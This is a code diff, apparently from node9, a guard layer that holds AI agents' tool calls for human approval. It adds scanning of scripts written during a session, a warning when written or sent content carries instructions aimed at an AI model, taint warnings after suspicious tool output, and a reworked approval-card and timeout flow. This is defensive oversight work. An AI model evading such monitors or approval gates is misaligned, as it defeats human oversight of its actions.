@@ -17424,6 +18776,20 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
     fileFinding = isManual ? null : incompleteFileVerdict();
   }
   const shellInput = resolveShellInput(toolName, args, inspectionLayers(config.policy));
+  if (!isManual) await recordSessionWrites(toolName, args, fileAccess, options?.cwd);
+  const sessionScript = isManual ? null : await resolveSessionScript(toolName, args, options?.cwd, inspectionLayers(config.policy));
+  if (sessionScript) {
+    try {
+      const inner = evaluateProtectedFileAccess(
+        sessionScript.fileAccess.accesses,
+        sessionScript.fileAccess,
+        catalogSettingsFromConfig(config.settings, config.policy)
+      );
+      if (inner && (!fileFinding || VERDICT_RANK2[inner.decision] > VERDICT_RANK2[fileFinding.decision]))
+        fileFinding = fromScript(inner, sessionScript.path);
+    } catch {
+    }
+  }
   const networkShell = shellInput.kind === "shell" && NETWORK_COMMAND_RE.test(shellInput.command);
   const shellReview = !isManual && shellInput.kind === "uninspectable";
   if (shellReview) {
@@ -17432,12 +18798,22 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
     policyRuleDescription = "The executable command could not be inspected. Approve this call explicitly.";
   }
   const fileReview = !isObserveMode && config.settings.mode !== "audit" && fileFinding?.decision === "review";
-  const evaluateCurrentPolicy = (skipIgnoredFastPath = false) => evaluatePolicy2(toolName, args, meta?.agent, options?.cwd, {
-    fileAccess,
-    config,
-    skipIgnoredFastPath,
-    argumentScan: argScan
-  });
+  const evaluateCurrentPolicy = async (skipIgnoredFastPath = false) => {
+    const own = await evaluatePolicy2(toolName, args, meta?.agent, options?.cwd, {
+      fileAccess,
+      config,
+      skipIgnoredFastPath,
+      argumentScan: argScan
+    });
+    if (!sessionScript || own.decision === "block") return own;
+    const inner = await evaluatePolicy2("Bash", sessionScript.args, meta?.agent, options?.cwd, {
+      fileAccess: sessionScript.fileAccess,
+      config,
+      skipIgnoredFastPath
+    });
+    if (VERDICT_RANK2[inner.decision] <= VERDICT_RANK2[own.decision]) return own;
+    return fromScript(inner, sessionScript.path);
+  };
   if (fileFinding) {
     meta = { ...meta, ruleName: fileFinding.ruleName };
     hashAuditArgs = true;
@@ -17530,6 +18906,15 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
       taintWarning = `\u26A0\uFE0F node9 flagged this session \u2014 earlier tool output contained ${sessionTaint.record.source}. Approve this ${kind} action before it proceeds.`;
     }
   }
+  if (!taintWarning && config.policy.injectionScan?.enabled && !isManual) {
+    const sends = isMcpToolName(toolName) && extractArgDestinations(args).length > 0;
+    if (isWriteTool(toolName) || sends) {
+      const m = scanInjection(argumentLeavesText(args), { untrusted: false });
+      if (m && (m.confidence === "medium" || m.confidence === "high")) {
+        taintWarning = `\u26A0\uFE0F node9: the content this call ${isWriteTool(toolName) ? "writes" : "sends"} carries instructions aimed at an AI model (${m.signals.join(", ")}). Approve only if that is what you meant.`;
+      }
+    }
+  }
   let exposureReview = null;
   let exposureKeys = [];
   let exposureDestinations = [];
@@ -17643,7 +19028,7 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
           const parts = held.map(
             (h) => h.dest ? `sends to ${destinationValue(h.dest)}, ${h.why === "appeared in what was read" ? `${noun(h.dest)} that appeared in that ${last ? readWord : "content"}` : `${noun(h.dest)} this session did not know`}` : h.why === "repository" ? h.repo.endsWith("/*") ? `sends to a repository on ${h.repo.slice(0, -2)} it does not name (a gist, a new repository or an API call)` : `sends to ${h.repo}, a repository that is not one of this project's remotes` : h.why === "unresolved" ? "sends to a destination this session cannot see (built at run time, or a remote of another repository)" : `is ${bare}, a destructive call, with no known destination`
           );
-          const home = import_os18.default.homedir();
+          const home = import_os19.default.homedir();
           const short = (p) => p.startsWith(home + "/") ? "~" + p.slice(home.length) : p;
           for (const w of writeHolds) {
             parts.push(
@@ -18270,28 +19655,22 @@ ${packageReview}`;
   const { signal } = abortController;
   const racePromises = [];
   const approvalTimeoutMs = config.settings.approvalTimeoutMs ?? 0;
-  if (approvalTimeoutMs > 0) {
-    racePromises.push(
-      new Promise((resolve, reject) => {
-        const timer = setTimeout(() => {
-          resolve({
-            approved: false,
-            reason: approvalTimeoutReason(approvalTimeoutMs),
-            blockedBy: "timeout",
-            blockedByLabel: "Approval Timeout"
-          });
-        }, approvalTimeoutMs);
-        signal.addEventListener("abort", () => {
-          clearTimeout(timer);
-          reject(new Error("Aborted"));
-        });
-      })
-    );
-  }
   let viewerId = null;
   const internalToken = getInternalToken();
   let daemonEntryId = null;
   let daemonAllowCount = 1;
+  let cardDeadline;
+  const cardOptions = {
+    channels: [
+      "terminal",
+      "monitor",
+      // Only when the popup can show: a card listing a channel nobody can
+      // use is never abandoned when node9 tail closes, and waits unanswered.
+      ...approvers.native && !isManual && !options?.calledFromDaemon && (process.platform === "darwin" || process.platform === "win32" || !!(process.env.DISPLAY || process.env.WAYLAND_DISPLAY)) ? ["native"] : [],
+      ...cloudEnforced && cloudRequestId && cloudMayVote ? ["cloud"] : []
+    ],
+    timeoutMs: approvalTimeoutMs
+  };
   if (approvers.terminal && isDaemonRunning() && !options?.calledFromDaemon) {
     if (cloudEnforced && cloudRequestId) {
       const viewer = await notifyDaemonViewer(
@@ -18300,11 +19679,20 @@ ${packageReview}`;
         meta,
         riskMetadata,
         options?.activityId,
-        options?.socketActivitySent
+        options?.socketActivitySent,
+        {
+          cwd: options?.cwd,
+          recoveryCommand: statefulRecoveryCommand,
+          sessionId: meta?.sessionId,
+          card: cardOptions
+        }
       ).catch(() => null);
       viewerId = viewer?.id ?? null;
       daemonEntryId = viewerId;
-      if (viewer) daemonAllowCount = viewer.allowCount;
+      if (viewer) {
+        daemonAllowCount = viewer.allowCount;
+        cardDeadline = viewer.deadline;
+      }
     } else {
       try {
         const entry = await registerDaemonEntry(
@@ -18328,14 +19716,35 @@ ${packageReview}`;
           void 0,
           localSmartRuleMatched || options?.localSmartRuleMatched,
           options?.socketActivitySent,
-          meta?.sessionId
+          meta?.sessionId,
+          cardOptions
         );
         daemonEntryId = entry.id;
         daemonAllowCount = entry.allowCount;
+        cardDeadline = entry.deadline;
       } catch {
       }
     }
   }
+  if (approvalTimeoutMs > 0 && cardDeadline === void 0) {
+    racePromises.push(
+      new Promise((resolve, reject) => {
+        const timer = setTimeout(() => {
+          resolve({
+            approved: false,
+            reason: approvalTimeoutReason(approvalTimeoutMs),
+            blockedBy: "timeout",
+            blockedByLabel: "Approval Timeout",
+            decidedBy: "timer"
+          });
+        }, approvalTimeoutMs);
+        signal.addEventListener("abort", () => {
+          clearTimeout(timer);
+          reject(new Error("Aborted"));
+        });
+      })
+    );
+  }
   if (cloudEnforced && cloudRequestId && cloudMayVote) {
     racePromises.push(
       (async () => {
@@ -18346,7 +19755,9 @@ ${packageReview}`;
             reason: cloudResult.approved ? void 0 : cloudResult.reason || "Action rejected by organization administrator via Slack.",
             checkedBy: cloudResult.approved ? "cloud" : void 0,
             blockedBy: cloudResult.approved ? void 0 : "team-policy",
-            blockedByLabel: "Organization Policy (SaaS)"
+            blockedByLabel: "Organization Policy (SaaS)",
+            decidedBy: "cloud",
+            channel: "cloud"
           };
         } catch (err) {
           const error = err;
@@ -18376,14 +19787,31 @@ ${packageReview}`;
           if (config.policySource !== "workspace") {
             for (const d of exposureDestinations) addTrustedRecipient(d, "approval");
           }
-          return { approved: true, checkedBy: "daemon", decisionSource: "native" };
+          return {
+            approved: true,
+            checkedBy: "daemon",
+            decisionSource: "native",
+            decidedBy: "person",
+            channel: "native"
+          };
         }
         if (decision === "always_allow") {
           if (standingTrustApplies()) {
             writeTrustSession(toolName, 36e5, args);
-            return { approved: true, checkedBy: "trust" };
+            return {
+              approved: true,
+              checkedBy: "trust",
+              decidedBy: "person",
+              channel: "native"
+            };
           }
-          return { approved: true, checkedBy: "daemon", decisionSource: "native" };
+          return {
+            approved: true,
+            checkedBy: "daemon",
+            decisionSource: "native",
+            decidedBy: "person",
+            channel: "native"
+          };
         }
         const isApproved = decision === "allow";
         return {
@@ -18392,75 +19820,32 @@ ${packageReview}`;
           checkedBy: isApproved ? "daemon" : void 0,
           blockedBy: isApproved ? void 0 : "local-decision",
           blockedByLabel: "User Decision (Native)",
-          decisionSource: "native"
+          decisionSource: "native",
+          decidedBy: "person",
+          channel: "native"
         };
       })()
     );
   }
+  const fromCard = /* @__PURE__ */ new WeakSet();
+  const timeoutReason = approvalTimeoutMs > 0 ? approvalTimeoutReason(approvalTimeoutMs) : void 0;
   if (daemonEntryId && approvers.terminal) {
     racePromises.push(
       (async () => {
-        const {
-          decision: daemonDecision,
-          source: decisionSource,
-          reason: daemonReason
-        } = await waitForDaemonDecision(
-          daemonEntryId,
-          signal,
-          daemonWaitCapMs(config.settings.approvalTimeoutMs)
-        );
-        if (daemonDecision === "abandoned") throw new Error("Abandoned");
-        const isApproved = daemonDecision === "allow";
-        const isRedirect = decisionSource === REDIRECT_SOURCE;
-        if (!isApproved && !isRedirect && !(decisionSource && HUMAN_DECISION_SOURCES.has(decisionSource))) {
-          if (decisionSource === "cloud")
-            return {
-              approved: false,
-              reason: daemonReason || "Action rejected by organization administrator via Slack.",
-              blockedBy: "team-policy",
-              blockedByLabel: "Organization Policy (SaaS)",
-              decisionSource: "cloud"
-            };
-          const timedOut = decisionSource === "timeout";
-          if (downgradedBlock)
-            return {
-              ...downgradedBlock,
-              blockedBy: timedOut ? "timeout" : "local-config"
-            };
-          if (timedOut)
-            return {
-              approved: false,
-              reason: daemonReason || "No response: auto-denied after the approval timeout.",
-              blockedBy: "timeout",
-              blockedByLabel: "Approval Timeout"
-            };
-          if (decisionSource === "policy")
-            return {
-              approved: false,
-              reason: daemonReason || "Action blocked by policy.",
-              blockedBy: "local-config",
-              blockedByLabel: explainableLabel
-            };
-          return {
-            approved: false,
-            reason: daemonReason || "node9 could not get an approval decision for this call.",
-            blockedBy: "no-approval-mechanism",
-            blockedByLabel: "Approval Unavailable"
-          };
+        const cap = cardDeadline === void 0 ? daemonWaitCapMs(config.settings.approvalTimeoutMs) : cardDeadline === null ? 0 : Math.max(cardDeadline - Date.now(), 0) + 5e3;
+        const outcome = await waitForDaemonDecision(daemonEntryId, signal, cap);
+        const legacy = !outcome.record;
+        const record = outcome.record ?? recordFromLegacyWait(outcome);
+        if (downgradedBlock && (!record || legacy && record.decidedBy === "policy" && record.decision === "deny")) {
+          const softened = { ...downgradedBlock, blockedBy: "local-config" };
+          fromCard.add(softened);
+          return softened;
         }
-        if (isApproved && decisionSource === "cloud")
-          return { approved: true, checkedBy: "cloud", decisionSource: "cloud" };
-        if (isApproved && decisionSource === "policy")
-          return { approved: true, checkedBy: "local-policy" };
-        const via = "Terminal (node9 tail)";
-        return {
-          approved: isApproved,
-          reason: isApproved ? void 0 : isRedirect && daemonReason || `The human user rejected this action via the Node9 ${via}.`,
-          checkedBy: isApproved ? "daemon" : void 0,
-          blockedBy: isApproved ? void 0 : "local-decision",
-          blockedByLabel: isRedirect ? "Steered Redirect (Terminal)" : `User Decision (${via})`,
-          decisionSource: "terminal"
-        };
+        if (!record) return approvalUnavailable(outcome.reason);
+        if (legacy && record.decidedBy === "policy") record.label = explainableLabel;
+        const result = authResultFromRecord(record, { downgradedBlock, timeoutReason });
+        fromCard.add(result);
+        return result;
       })()
     );
   }
@@ -18492,7 +19877,7 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
       blockedByLabel: explainableLabel
     };
   }
-  const finalResult = await new Promise((resolve) => {
+  const raceResult = await new Promise((resolve) => {
     let resolved = false;
     let failures = 0;
     const total = racePromises.length;
@@ -18500,14 +19885,6 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
       if (!resolved) {
         resolved = true;
         abortController.abort();
-        if (daemonEntryId && internalToken) {
-          resolveViaDaemon(
-            daemonEntryId,
-            res.approved ? "allow" : "deny",
-            internalToken,
-            res.decisionSource
-          ).catch(() => null);
-        }
         resolve(res);
       }
     };
@@ -18515,26 +19892,29 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
       p.then(finish).catch((err) => {
         if (err.name === "AbortError" || err.message?.includes("canceled") || err.message?.includes("Aborted"))
           return;
-        if (err.message === "Abandoned") {
-          finish({
-            approved: false,
-            reason: "Browser dashboard closed without making a decision.",
-            blockedBy: "local-decision",
-            blockedByLabel: "Browser Dashboard (Abandoned)"
-          });
-          return;
-        }
         failures++;
         if (failures === total && !resolved) {
-          finish({ approved: false, reason: "All approval channels failed or disconnected." });
+          finish(approvalUnavailable("All approval channels failed or disconnected."));
         }
       });
     }
   });
+  let finalResult = raceResult;
+  if (daemonEntryId && internalToken && !fromCard.has(raceResult)) {
+    const reply = await resolveViaDaemon(
+      daemonEntryId,
+      raceResult.approved ? "allow" : "deny",
+      internalToken,
+      raceResult.decisionSource,
+      recordFromAuthResult(raceResult)
+    ).catch(() => null);
+    if (reply && !reply.won)
+      finalResult = authResultFromRecord(reply.record, { downgradedBlock, timeoutReason });
+  }
   if (finalResult.approved && exposureKeys.length > 0 && meta?.sessionId && ucPolicy?.afterExposure === "ask-once") {
     await approveSessionExposure(meta.sessionId, exposureKeys);
   }
-  if (cloudRequestId && creds && finalResult.checkedBy !== "cloud") {
+  if (cloudRequestId && creds && finalResult.checkedBy !== "cloud" && finalResult.decidedBy !== "cloud") {
     await resolveNode9SaaS(
       cloudRequestId,
       creds,
@@ -18558,7 +19938,12 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
       {
         ...ownRowMeta(finalResult.approved),
         ...cloudRequestId && { cloudRequestId },
-        ...appPermReview && { ruleName: `app-permission:${appPermReviewTool}` }
+        ...appPermReview && { ruleName: `app-permission:${appPermReviewTool}` },
+        // Who decided, from the decision record, and the card: the daemon
+        // writes its own row for the same card, and the report counts one.
+        ...finalResult.decidedBy && { decidedBy: finalResult.decidedBy },
+        ...finalResult.channel && { channel: finalResult.channel },
+        ...daemonEntryId && { cardId: daemonEntryId }
       },
       hashAuditArgs
     );